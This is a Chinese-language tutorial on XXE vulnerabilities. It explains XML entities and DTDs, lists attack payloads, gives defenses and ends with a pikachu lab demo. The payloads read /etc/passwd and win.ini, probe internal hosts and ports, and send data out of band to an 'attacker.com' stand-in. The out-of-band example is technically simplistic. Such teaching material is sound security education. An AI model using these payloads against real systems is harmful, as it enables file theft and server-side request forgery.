一、基本概念及原理
什么是XXE
XXE(XML External Entity)是一种安全漏洞,发生在应用程序解析XML输入时。攻击者可以通过该漏洞插入恶意的外部实体,从而获取系统文件或执行其他恶意操作。核心是我们输入的代码,会被当作xml代码执行
XXE漏洞原理
应用程序在接受xml数据后,并使用不安全的xml解释器解析这些数据。攻击者在xml数据中插入外部实体定义。XML解释器解析实体并将内容替换到XML文档中,可能导致敏感数据的泄露或其他安全问题。
XXE漏洞危害
1、敏感数据的泄露
2、服务器端请求伪造(SSRF)
3、拒绝服务(DOS)
4、远程代码执行
什么是XML
XML(可扩展标记语言,Extensible Markup Language)是一种用于表示结构化信息的标记语言。它由W3C(万维网联盟)开发,用于存储和传输数据。XML的主要特点包括:
1、自我描述:XML文档包含数据以及数据的结构信息,使用标签来标记数据。
2、可扩展性:用户可以根据需要定义自己的标签,适用于多种领域和应用。
3、平台独立性:XML是纯文本格式,可以在不同的系统和平台之间传输。
4、层次结构:XML文档具有层次结构,数据以树状结构组织,便于解析和处理。
什么是XML实体
XML实体是XML文档中的一种结构,允许将一些内容定义为可重用的标识符。实体可以用于简化文档编写、引入外部内容或定义特殊字符。其中包括:
1、内部实体:在文档内部定义,用于简化和重用内容。
2、外部实体:引用外部文件或资源。
3、预定义实体:XML标准预定义的一些特殊字符实体,如 <(<)、>(>)、&(&)、"(")、'(')。
内部实体代码演示
<!DOCTYPE note [
<!ENTITY writer "John Doe">
]>
<note>
<to>&writer;</to>
<from>Jane</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
解释:
<!DOCTYPE note [...]>:定义一个文档类型(DTD)。
<!ENTITY writer "John Doe">:定义一个名为writer的内部实体,其值为“John Doe”
<to>&writer;</to>:使用实体writer,实际内容为“John Doe”。
外部实体代码演示
<!DOCTYPE note [
<!ENTITY external SYSTEM "file:///path/to/file.txt">
]>
<note>
<to>&external;</to>
<from>Jane</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
解释:
<!DOCTYPE note [...]>:定义一个文档类型(DTD)。
<!ENTITY external SYSTEM "file:///path/to/file.txt">:定义一个名为external的外部实体,引用了外部文件file.txt。
<to>&external;</to>:使用实体external,内容为引用的外部文件内容。
预定义实体代码演示
<message>
This is a message with special characters: <, >, &, ", '.
</message>
什么是DTD
DTD(文档类型定义,Document Type Definition)是一种用于定义XML文档结构和合法元素及属性的规范。它可以描述文档中可以包含哪些元素、这些元素的属性、元素之间的层次结构等。
DTD主要功能
1、定义文档结构:确定文档中哪些元素是合法的以及它们的嵌套关系。
2、属性声明:指定元素可以有哪些属性及其默认值。
3、实体声明:定义实体(内部和外部),简化文档编写。
DTD形式
1、内部DTD:DTD声明在XML文档的内部。
2、外部DTD:DTD声明在外部文件中,通过引用在XML文档中使用。
内部DTD代码演示
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
解释:
1、<!DOCTYPE note [...]>:定义一个文档类型,名称为note。
2、<!ELEMENT note (to, from, heading, body)>:声明note元素包含to、from、heading和body元素。
3、<!ELEMENT to (#PCDATA)>:声明to元素包含可解析字符数据(#PCDATA)。
4、其他元素声明类似。
外部DTD代码演示
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
外部DTD文件(note.dtd)
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
二、常见攻击方式
1、本地文件读取:利用XXE漏洞读取服务器上的本地文件
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
2、服务器端请求伪造(SSRF):利用XXE漏洞让服务器发起请求,访问内部网络或其他系统。
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal.system/resource">
]>
<foo>&xxe;</foo>
3、本地端口扫描:利用XXE漏洞扫描服务器内部的开放端口,检测内部网络的服务。
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://localhost:8080">
]>
<foo>&xxe;</foo>
4、利用FTP协议进行文件读取:通过FTP协议读取文件。
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "ftp://example.com/file.txt">
]>
<foo>&xxe;</foo>
5、Out-of-Band (OOB) 数据提取:利用XXE漏洞通过DNS或HTTP出带外(OOB)通道将数据发送给攻击者控制的服务器。
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/?data=file:///etc/passwd">
]>
<foo>&xxe;</foo>
6、反射攻击:利用外部实体将恶意代码注入到XML响应中,进一步利用其他漏洞进行攻击
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://malicious.com/malicious.dtd">
]>
<foo>&xxe;</foo>
三、防御措施
1、禁用外部实体:在XML解析器配置中禁用外部实体解析。
2、使用安全库:使用安全的XML解析库,如Libxml2的安全模式或最新版本的DOM解析库。
3、输入验证和过滤:严格验证和过滤用户输入,避免恶意数据注入。
4、最小权限原则:确保应用程序仅有读取和处理XML数据所需的最低权限
四、靶场演示
pikachu演示
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://Windows//win.ini">
]<x>&f;</x>